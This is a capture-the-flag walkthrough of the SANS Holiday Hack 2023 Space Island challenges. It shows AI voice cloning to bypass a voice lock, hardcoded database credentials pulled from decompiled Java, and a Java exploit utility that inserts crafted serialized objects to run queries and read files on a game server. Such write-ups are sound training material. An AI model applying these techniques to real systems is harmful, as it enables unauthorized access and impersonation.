Space Island⚓︎
Embark on your celestial adventure by guiding our ship to Space Island. Employ the arrow keys on the keyboard or the WASD keys for navigation, as the island is situated in the top-left corner of the map. May your journey through the cosmos be both thrilling and successful!
There are two different ports available:
Port of Spaceport Point⚓︎
While exploring the Space Island, we discover the Port of Spaceport Point. Upon reaching it, a "Dock Now" option is presented to us.
The dock featured the Goose of Space Island to greet us!
When we make land, we obtain a new objective on arrival.
Space Island Door Access Speaker (Space Island)
There's a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.
Full Island (Zoomed Out)
Space Island Door Access Speaker⚓︎
Space Island Door Access Speaker (Space Island)
There's a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.
If we keep proceeding to the north of the island, we can find Jewel Loggins outside of a tram.
When speaking with Jewel Loggins, we obtain the following hint:
MFA: Something You Are
It seems the Access Speaker is programmed to only accept Wombley's voice. Maybe you could get a sample of his voice and use an AI tool to simulate Wombley speaking the passphrase.
When opening up the door challenge, it asks for a .wav
file of Wombley's voice file.
When we select a test .wav
file to upload, it prepares and sends a POST request to /upload
and provides a redirection link with a match percentage MATCH (34%)
in a parameter.
POST /upload?id=80ca50bc-2ad7-45ee-ab5c-23fca954d7d3 HTTP/2
Host: islanddoor.space
Cookie: GCLB="9b2d095558b30b14"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------121215153010570311442204811029
Content-Length: 48468
-----------------------------121215153010570311442204811029
Content-Disposition: form-data; name="file"; filename="trumpet-1.wav"
Content-Type: audio/wav
Response:
302 -> https://islanddoor.space/index.html?msg=NO%20VOICE%0AMATCH%20%2834%25%29&id=80ca50bc-2ad7-45ee-ab5c-23fca954d7d3
The secret passphrase was retrieved from completing the Active Directory objective. This had us obtain a secret file called InstructionsForEnteringSatelliteGroundStation.txt
that had the exact 2FA phrase to say to the speaker!
Note to self:
To enter the Satellite Ground Station (SGS), say the following into the speaker:
And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
Earlier, we had a conversation with Wombley Cube on Film Noir Island, who provided us with a sample of his speech characteristics in the form of an audiobook. Now, we can leverage an AI-powered speech cloner tool. I opted for Speechify, where I imported Wombley's Audiobook and the desired phrase for audio generation.
Then we convert the generated .mp3
file to a .wav
file for upload using ffmpeg
:
ffmpeg -i speechify_cloned_voice_wombleycube_the_enchanted_voyage_2024-01-02_04-31-20.mp3 speechify_cloned_voice_wombleycube_the_enchanted_voyage_2024-01-02_04-31-20.wav
We select the speech file of speechify_cloned_voice_wombleycube_the_enchanted_voyage_2024-01-02_04-31-20.wav
and we instantly get in!
Achievement
Congratulations! You have completed the Space Island Door Access Speaker challenge!
Port of Cape Cosmic⚓︎
While exploring the Space Island, we discover the Port of Cape Cosmic. Upon reaching it, a "Dock Now" option is presented to us.
The dock featured the Goose of Space Island to greet us!
Full Island (Zoomed Out)
After the Space Island Access Speaker objective, we can now enter the facility!
Full Island - Inside Gate (30% Zoom)
On the east side of the enclosed facility, the satellite building can be entered!
We enter Zenith SGS - Satellite Ground Station and are met with Wombley Cube!
Camera Access⚓︎
Gain access to Jack's camera. What's the third item on Jack's TODO list?
When speaking with Wombley Cube, we obtain the following hint:
Hubris is a Virtue
In his hubris, Wombley revealed that he thinks you won't be able to access the satellite's "Supervisor Directory". There must be a good reason he mentioned that specifically, and a way to access it. He also said there's someone else masterminding the whole plot. There must be a way to discover who that is using the nanosat.
Final Door⚓︎
When clicking on the "final door" on the right, it loads a video of space including sun, moon, earth, and a satellite!
SGS Terminal⚓︎
When clicking on the middle SGS terminal, it loads a picture "Nanosat Christmas Comms - Wishing you the warmest disaster avoidance this Holiday Season!"
Gator - Wireguard VPN⚓︎
On the bottom-left corner, there is a Gator that when clicked launches at app:
Clicking on About;
Status: 🟢 | Ttl: 4.0 hours | Target: 34.41.215.165
If we click on the "Time Travel" button, we obtain a wireguard configuration file to connect to a VPN. We can connect using the following script:
bash -c 'cat << "EOF" > wg0-server.conf
[Interface]
Address = 10.1.1.1/24
PrivateKey = cc05IavQldS5XGj9xReSvuaXsY9xgQHBbdZaC3ddyu0=
ListenPort = 51820
[Peer]
PublicKey = JXCCduNBIRDushn3bxjcCogX0YqhsemMWdEsm7jdkRk=
AllowedIPs = 10.1.1.2/32
EOF'
bash -c 'cat << "EOF" > wg0.conf
[Interface]
Address = 10.1.1.2/24
PrivateKey = bYkny3XP9CyMUbAiefgCBghBzQDADSvNjsU1A+8T1BU=
ListenPort = 51820
[Peer]
PublicKey = xViQTwGY7OhV6hHEPYKlgLqdYv9GTqyOZU8QRWf2Mws=
Endpoint = 34.173.170.84:51820
AllowedIPs = 10.1.1.1/32
EOF'
sudo cp wg0.conf /etc/wireguard/wg0.conf
sudo wg-quick down wg0
sudo wg-quick up wg0
[#] ip link add wg0 type wireguard
[#] wg setconf wg0 /dev/fd/63
[#] ip -4 address add 10.1.1.2/24 dev wg0
[#] ip link set mtu 1420 up dev wg0
Vending Machine⚓︎
When speaking with the vending machine NanoSat-o-Matic, he provides a Java program all zipped up and containerized - "Hi there! I am a Ground station client vending machine. Apparently there is a huge need for NanoSat frameworks here, so they have put me in this room. Here, have a free sample!"
Within the archive, the satellite/client_container/README.md
explains how to setup your environment to connect with Wireguard, launch a docker container, connect over VNC, etc.
We can build and run the application in a docker container (this takes a few minutes):
sudo ./build_and_run.sh
Sending build context to Docker daemon 119.4MB
Step 1/15 : FROM eclipse-temurin:11-jre
11-jre: Pulling from library/eclipse-temurin
3dd181f9be59: Pull complete
6d733e6219d9: Pull complete
41f868d375a0: Pull complete
7e0b41871d28: Pull complete
abba5c11ffee: Pull complete
Digest: sha256:cfba8df9620f10a0e8b6a147a9a1a09dfce2477a9cb4552dfe94bc7319aa3032
Status: Downloaded newer image for eclipse-temurin:11-jre
---> 05c7c092e61d
..[snip]..
Or you can use podman:
podman machine start
cd client_container
podman build -t nmf_client -f Dockerfile
podman run -d -p 6901:6901 -p 5900:5900 --cap-add="NET_ADMIN" --cap-add="NET_RAW" nmf_client
We can connect to it using vncviewer
that will connect to our localhost:5900 VNC server hosted in the docker:
NanoSat MO Base Station Tool⚓︎
Launching NanoSat MO Base Station Tool from within the VNC (by right-clicking):
The [[satellite/client_container/README.md]] explains how to connect to the directory service of maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory
The main screen lists all the services and their relevant URI's and Broker URI's:
Camera⚓︎
Since we are looking for a picture, we can starting the camera service using the runApp
utility!
Connect to the new directory service URI:
Aggregation All Supported [] maltcp://10.1.1.1:1025/camera-Aggregation maltcp://10.1.1.1:1025/camera-AggregationInternalBroker
Action All Supported [] maltcp://10.1.1.1:1025/camera-Action null
Archive All Supported [] maltcp://10.1.1.1:1025/camera-Archive null
Heartbeat All Supported [] maltcp://10.1.1.1:1025/camera-Heartbeat maltcp://10.1.1.1:1025/camera-HeartbeatInternalBroker
Event All Supported [] maltcp://10.1.1.1:1025/camera-Event maltcp://10.1.1.1:1025/camera-EventInternalBroker
Parameter All Supported [] maltcp://10.1.1.1:1025/camera-Parameter maltcp://10.1.1.1:1025/camera-ParameterInternalBroker
ArchiveSync All Supported [] maltcp://10.1.1.1:1025/camera-ArchiveSync null
Alert All Supported [] maltcp://10.1.1.1:1025/camera-Alert null
Directory All Supported [] maltcp://10.1.1.1:1025/camera-Directory null
We can enable the generation of snapshots from the camera via the Parameter Service
and enableGeneration
button:
However, getting the object value of Base64SnapImage
is not fully displayed when clicking on getValue
.
We also checked the Published Parameter Values
tab:
Wireshark Image Extraction⚓︎
Since the Java GUI does not display the entire Base64SnapImage
contents of the image, we need to extract the contents some other way. Since the contents are unencrypted and Wireshark is installed, we can capture the Base64SnapImage
through Wireshark by capturing on All Interfaces and export the packet capture to our main host via a docker cp
command.
We can save the capture to /root/camera-capture.pcapng
and transfer it back to our host:
We found that the beginning of an image starts with 4AAQSK, if we find all the packets that start with that, we can just extract packet 40344 through 41654 and we should have everything we need to extract an image!
Wireshark Filter: frame matches "4AAQSK"
We can then extract a single image transmission into a new pcap file by going to File -> Export Specified Packets. The range would be: 40344-41654 (captured)
We can then parse this single image PCAP file to extract all the relevant packets into hex using tshark
:
tshark -r images.pcapng -Y 'tcp' -T fields -e data -e tcp.stream | awk '{print $1}' | grep -v '^[0-9]\{1,2\}$'
We can then copy the hex dump into Cyberchef for additional processing:
The final decoded image:
Oh no ... Jack is at it again!
Checklist:
- Get SANTA TO MOVE TO GEESE ISLANDS
- PLACE GEOSTATIONARY SATELLITE ABOVE ISLANDS
- CONQUER HOLIDAY SEASON!
Looking back at the challenge question, the answer is the last item on the list.
Answer: CONQUER HOLIDAY SEASON!
Achievement
Congratulations! You have completed the Camera Access challenge!
After the completion of Camera Access, we unlocked a new objective:
Missile Diversion (Space Island)
Thwart Jack's evil plan by re-aiming his missile at the Sun.
Missile Diversion⚓︎
Missile Diversion (Space Island)
Thwart Jack's evil plan by re-aiming his missile at the Sun.
When speaking with Wombley Cube, we obtain the following hint:
Always Lock Your Computer
Wombley thinks he may have left the admin tools open. I should check for those if I get stuck.
Missile Targeting System⚓︎
Since we are looking to stop a missile, we can starting the missile-targeting-system
service using the runApp
utility!
NFO: NanoSat MO Connector initialized in 1.395 seconds!
2024-01-04 00:47:37.054 esa.mo.nmf.nanosatmoconnector.NanoSatMOConnectorImpl init
INFO: URI: maltcp://10.1.1.1:1025/missile-targeting-system-Directory
Then we can connect to the missile-targeting-system-Directory
under the directory service URI:
Aggregation All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Aggregation maltcp://10.1.1.1:1025/missile-targeting-system-AggregationInternalBroker
Action All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Action null
Archive All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Archive null
Heartbeat All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Heartbeat maltcp://10.1.1.1:1025/missile-targeting-system-HeartbeatInternalBroker
Event All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Event maltcp://10.1.1.1:1025/missile-targeting-system-EventInternalBroker
Parameter All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Parameter maltcp://10.1.1.1:1025/missile-targeting-system-ParameterInternalBroker
ArchiveSync All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-ArchiveSync null
Alert All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Alert null
Directory All Supported [] maltcp://10.1.1.1:1025/missile-targeting-system-Directory null
We can enable the parameter service of PointingMode
, X
, Y
, and Debug
:
Looking at parameters generated from the missile-targeting-system
, we can see a Debug
flag that looks interesting.
NMAP Scan⚓︎
We can perform a quick nmap
scan of 10.1.1.1 to identify a MySQL database port open on 3306 that could be our target for stopping the missile-targeting-system
!
$ nmap -v -sC -sV 10.1.1.1
Nmap scan report for 10.1.1.1
PORT STATE SERVICE VERSION
1024/tcp open kdm?
1025/tcp open NFS-or-IIS?
3306/tcp open mysql?
10022/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
Java Reversing⚓︎
We can use jd-cli.jar to decompile all the Java JAR files within assets/nmf/lib/
and output them to ../librev
for easier analysis!
find assets/nmf/lib/ -name '*.jar' -exec java -jar /opt/java-compiled/jd-cli.jar --outputDir ../librev {} \;
Looking at the source code of themissile-targeting-system
at assets/nmf/librev/esa/mo/nmf/apps/MissileTargetingSystemMCAdapter.java
, we are able to find MySQL credentials of Username:targeter
and Password: cu3xmzp9tzpi00bdqvxq
.
private String sqlDebug(String injection) {
String query = "SELECT VERSION()" + injection;
StringBuilder resultString = new StringBuilder();
try {
Connection connection = DriverManager.getConnection("jdbc:mariadb://localhost:3306/missile_targeting_system?allowMultiQueries=true", "targeter", "cu3xmzp9tzpi00bdqvxq");
try {
Statement statement = connection.createStatement();
try {
boolean hasResultSet = statement.execute(query);
int resultSetCount = 0;
while (true) {
if (hasResultSet) {
ResultSet resultSet = statement.getResultSet();
try {
ResultSetMetaData metaData = resultSet.getMetaData();
int columnCount = metaData.getColumnCount();
while (resultSet.next()) {
for (int i = 1; i <= columnCount; i++) {
String columnName = metaData.getColumnName(i);
String columnValue = resultSet.getString(i);
resultString.append(columnName + ": " + columnValue + " | ");
}
resultString.append("\n");
}
if (resultSet != null)
We can login to the remote MySQL database using these credentials with the mysql
client utility.:
$ mysql -u 'targeter' -p'cu3xmzp9tzpi00bdqvxq' -h '10.1.1.1'
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 2092
Server version: 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 mariadb.org binary distribution
Lets see what databases are in here:
MariaDB [(none)]> show databases;
+--------------------------+
| Database |
+--------------------------+
| information_schema |
| missile_targeting_system |
+--------------------------+
2 rows in set (0.055 sec)
Lets see what permissions we have using show grants
.
MariaDB [(none)]> show grants;
+---------------------------------------------------------------------------------------------------------+
| Grants for targeter@% |
+---------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `targeter`@`%` IDENTIFIED BY PASSWORD '*41E2CFE844C8F1F375D5704992440920F11A11BA' |
| GRANT SELECT, INSERT ON `missile_targeting_system`.`satellite_query` TO `targeter`@`%` |
| GRANT SELECT ON `missile_targeting_system`.`pointing_mode` TO `targeter`@`%` |
| GRANT SELECT ON `missile_targeting_system`.`messaging` TO `targeter`@`%` |
| GRANT SELECT ON `missile_targeting_system`.`target_coordinates` TO `targeter`@`%` |
| GRANT SELECT ON `missile_targeting_system`.`pointing_mode_to_str` TO `targeter`@`%` |
+---------------------------------------------------------------------------------------------------------+
Lets enumerate the tables of the missile_targeting_system
database:
MariaDB [missile_targeting_system]> show tables;
+------------------------------------+
| Tables_in_missile_targeting_system |
+------------------------------------+
| messaging |
| pointing_mode |
| pointing_mode_to_str |
| satellite_query |
| target_coordinates |
+------------------------------------+
5 rows in set (0.065 sec)
We can then inspect all of the content of all of the tables within the missile_targeting_system
database:
MariaDB [missile_targeting_system]> select * from messaging;
+----+----------------------+------------+
| id | msg_type | msg_data |
+----+----------------------+------------+
| 1 | RedAlphaMsg | RONCTTLA |
| 2 | MsgAuth | 220040DL |
| 3 | LaunchCode | DLG2209TVX |
| 4 | LaunchOrder | CONFIRMED |
| 5 | TargetSelection | CONFIRMED |
| 6 | TimeOnTargetSequence | COMPLETE |
| 7 | YieldSelection | COMPLETE |
| 8 | MissileDownlink | ONLINE |
| 9 | TargetDownlinked | FALSE |
+----+----------------------+------------+
9 rows in set (0.064 sec)
MariaDB [missile_targeting_system]> select * from pointing_mode;
+----+----------------+
| id | numerical_mode |
+----+----------------+
| 1 | 0 |
+----+----------------+
1 row in set (0.062 sec)
MariaDB [missile_targeting_system]> select * from pointing_mode_to_str;
+----+----------------+------------------+----------------------------------------------------------------------------------------+
| id | numerical_mode | str_mode | str_desc |
+----+----------------+------------------+----------------------------------------------------------------------------------------+
| 1 | 0 | Earth Point Mode | When pointing_mode is 0, targeting system applies the target_coordinates to earth. |
| 2 | 1 | Sun Point Mode | When pointing_mode is 1, targeting system points at the sun, ignoring the coordinates. |
+----+----------------+------------------+----------------------------------------------------------------------------------------+
2 rows in set (0.063 sec)
MariaDB [missile_targeting_system]> select * from satellite_query;
+-----+----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| jid | object | results |
+-----+----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | �� sr SatelliteQueryFileFolderUtility������ Z isQueryZisUpdateL pathOrStatementt Ljava/lang/String;xp t )/opt/SatelliteQueryFileFolderUtility.java | import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
this.pathOrStatement = pathOrStatement;
this.isQuery = isQuery;
this.isUpdate = isUpdate;
}
public String getResults(Connection connection) {
if (isQuery && connection != null) {
if (!isUpdate) {
try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
ResultSet rs = selectStmt.executeQuery()) {
List<HashMap<String, String>> rows = new ArrayList<>();
while(rs.next()) {
HashMap<String, String> row = new HashMap<>();
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
String key = rs.getMetaData().getColumnName(i);
String value = rs.getString(i);
row.put(key, value);
}
rows.add(row);
}
Gson gson = new Gson();
String json = gson.toJson(rows);
return json;
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
} else {
try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
}
} else {
Path path = Paths.get(pathOrStatement);
try {
if (Files.notExists(path)) {
return "Path does not exist.";
} else if (Files.isDirectory(path)) {
// Use try-with-resources to ensure the stream is closed after use
try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
return walk.skip(1) // skip the directory itself
.map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
.collect(Collectors.joining("\n"));
}
} else {
// Assume it's a readable file
return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
}
} catch (IOException e) {
return "Error reading path: " + e.toString();
}
}
}
public String getpathOrStatement() {
return pathOrStatement;
}
}
|
+-----+----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.065 sec)
MariaDB [missile_targeting_system]> select * from target_coordinates;
+----+---------+----------+
| id | lat | lng |
+----+---------+----------+
| 1 | 1.14514 | -145.262 |
+----+---------+----------+
1 row in set (0.055 sec)
Since our main goal is to change the targeting from the Earth to the Sun, the pointing_mode
table seems to align with that objective. The pointing_mode
has the following values available - 0 (Earth Point Mode) or 1 (Sun Point Mode).
Also, looking back at our privileges ... we can add queries to the satellite_query
table of the missile_targeting_system
database. This is where we found a Java serialized object. Lets obtain the full Java serialized object
column by wrapping it with hex()
in our query:
MariaDB [missile_targeting_system]> select hex(object) from satellite_query;
ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B787000007400292F6F70742F536174656C6C697465517565727946696C65466F6C6465725574696C6974792E6A617661
Java Serialization Payload Generation⚓︎
Let's see if we can add the same Java Serialized object into the table and inspect what happens in the result
column.
MariaDB [missile_targeting_system]> INSERT INTO missile_targeting_system.satellite_query VALUES(2,UNHEX("ACED00057372001F536174656C6C697465517565727946696C65466F6C6465725574696C69747912D4F68D0EB392CB0200035A0007697351756572795A000869735570646174654C000F706174684F7253746174656D656E747400124C6A6176612F6C616E672F537472696E673B787000007400292F6F70742F536174656C6C697465517565727946696C65466F6C6465725574696C6974792E6A617661"),"");
MariaDB [missile_targeting_system]> SELECT results FROM missile_targeting_system.satellite_query ORDER BY jid DESC LIMIT 1
+-----------------------------------+
| results |
+-----------------------------------+
| [{"numerical_mode":"1","id":"1"}] |
+-----------------------------------+
1 row in set (0.059 sec)
Building off of what we just did, I started creating a Java program to send serialized payloads to the MySQL database and fetch the results.
I started off with the initial SatelliteQueryFileFolderUtility
serializable class that we obtained from the satellite_query
table of the missile_targeting_system
database.
/* SANS Holiday Hack 2023 - Missile Diversion */
/* Imports */
import com.google.gson.Gson;
import java.io.IOException;
import java.io.Serializable;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.Stream;
public class SatelliteQueryFileFolderUtility implements Serializable {
private String pathOrStatement;
private boolean isQuery;
private boolean isUpdate;
private static final long serialVersionUID = 1356980473442833099L;
public SatelliteQueryFileFolderUtility(
String pathOrStatement,
boolean isQuery,
boolean isUpdate
) {
this.pathOrStatement = pathOrStatement;
this.isQuery = isQuery;
this.isUpdate = isUpdate;
}
public String getResults(Connection connection) {
if (isQuery && connection != null) {
if (!isUpdate) {
try (
PreparedStatement selectStmt = connection.prepareStatement(
pathOrStatement
);
ResultSet rs = selectStmt.executeQuery()
) {
List<HashMap<String, String>> rows = new ArrayList<>();
while (rs.next()) {
HashMap<String, String> row = new HashMap<>();
for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
String key = rs.getMetaData().getColumnName(i);
String value = rs.getString(i);
row.put(key, value);
}
rows.add(row);
}
Gson gson = new Gson();
String json = gson.toJson(rows);
return json;
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
} else {
try (
PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)
) {
pstmt.executeUpdate();
return "SQL Update completed.";
} catch (SQLException sqle) {
return "SQL Error: " + sqle.toString();
}
}
} else {
Path path = Paths.get(pathOrStatement);
try {
if (Files.notExists(path)) {
return "Path does not exist.";
} else if (Files.isDirectory(path)) {
// Use try-with-resources to ensure the stream is closed after use
try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
return walk
.skip(1) // skip the directory itself
.map(p ->
Files.isDirectory(p)
? "D: " + p.getFileName()
: "F: " + p.getFileName()
)
.collect(Collectors.joining("\n"));
}
} else {
// Assume it's a readable file
return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
}
} catch (IOException e) {
return "Error reading path: " + e.toString();
}
}
}
public String getpathOrStatement() {
return pathOrStatement;
}
}
The Maven project required some dependencies that were specified in the pom.xml
to connect to the database, for the original serializable class, and to disable logging.
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.exploit</groupId>
<artifactId>SerializationUtility</artifactId>
<version>0.0.1-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.12.1</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<archive>
<manifest>
<mainClass>SerializationUtility</mainClass>
<addClasspath>true</addClasspath>
<classpathPrefix>lib/</classpathPrefix>
</manifest>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.2.0</version>
<configuration>
<archive>
<manifest>
<mainClass>SerializationUtility</mainClass>
<addClasspath>true</addClasspath>
<classpathPrefix>lib/</classpathPrefix>
</manifest>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
<version>3.1.2</version>
<executions>
<execution>
<id>copy-dependencies</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-dependencies</goal>
</goals>
<configuration>
<outputDirectory>${project.build.directory}/lib</outputDirectory>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<!-- Gson dependency -->
<dependency>
<groupId>com.google.code.gson</groupId>
<artifactId>gson</artifactId>
<version>2.8.9</version>
</dependency>
<!-- Database dependency -->
<dependency>
<groupId>org.mariadb.jdbc</groupId>
<artifactId>mariadb-java-client</artifactId>
<version>3.3.2</version>
</dependency>
<!-- Ignore logging dependency -->
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.32</version>
</dependency>
</dependencies>
</project>
I then made a wrapper around that called serializationutility
. This prompts for either a select/update query or file or directory. It then creates the serialized object, inserts it into the database, waits for the server to process the request, and then queries for the result!
/* SANS Holiday Hack 2023 - Missile Diversion */
/* Imports */
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.Scanner;
public class SerializationUtility {
private static String bytesToHex(byte[] bytes) {
StringBuilder hexString = new StringBuilder(2 * bytes.length);
for (byte b : bytes) {
hexString.append(String.format("%02X", b));
}
return hexString.toString();
}
private static String serializeObject(
SatelliteQueryFileFolderUtility obj,
String outputFilename
) {
try (
ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream(outputFilename)
);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream hexOos = new ObjectOutputStream(bos)
) {
// Serialize the object to a file
oos.writeObject(obj);
//System.out.println("Object has been serialized and written to " + outputFilename);
// Serialize the object to a byte array
hexOos.writeObject(obj);
byte[] serializedBytes = bos.toByteArray();
// Convert the byte array to a hexadecimal string
String hexString = bytesToHex(serializedBytes);
System.out.println("Serialized payload (hex): " + hexString);
return hexString;
} catch (IOException e) {
System.err.println("Error during serialization: " + e.getMessage());
return null;
}
}
private static void insertDataIntoDatabase(
String jdbcUrl,
String username,
String password,
String hexString
) {
try (
Connection connection = DriverManager.getConnection(
jdbcUrl,
username,
password
)
) {
String insertQuery =
"INSERT INTO missile_targeting_system.satellite_query (object) VALUES (UNHEX(?))";
try (
PreparedStatement preparedStatement = connection.prepareStatement(
insertQuery
)
) {
preparedStatement.setString(1, hexString);
preparedStatement.executeUpdate();
System.out.println("Data inserted into the database.");
}
} catch (SQLException e) {
System.err.println(
"Error connecting to the database or executing the query: " +
e.getMessage()
);
}
}
private static String queryLastEntryResultsColumn(
String jdbcUrl,
String username,
String password
) {
try (
Connection connection = DriverManager.getConnection(
jdbcUrl,
username,
password
)
) {
String selectQuery =
"SELECT results FROM missile_targeting_system.satellite_query ORDER BY jid DESC LIMIT 1";
try (
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(selectQuery)
) {
if (resultSet.next()) {
return resultSet.getString("results");
} else {
System.out.println("No entries found in the satellite_query table.");
}
}
} catch (SQLException e) {
System.err.println(
"Error connecting to the database or executing the query: " +
e.getMessage()
);
}
return null;
}
public static void main(String[] args) {
// Initialize scanner
Scanner scanner = new Scanner(System.in);
while (true) {
// Ask user for input
System.out.print("\nEnter your input: ");
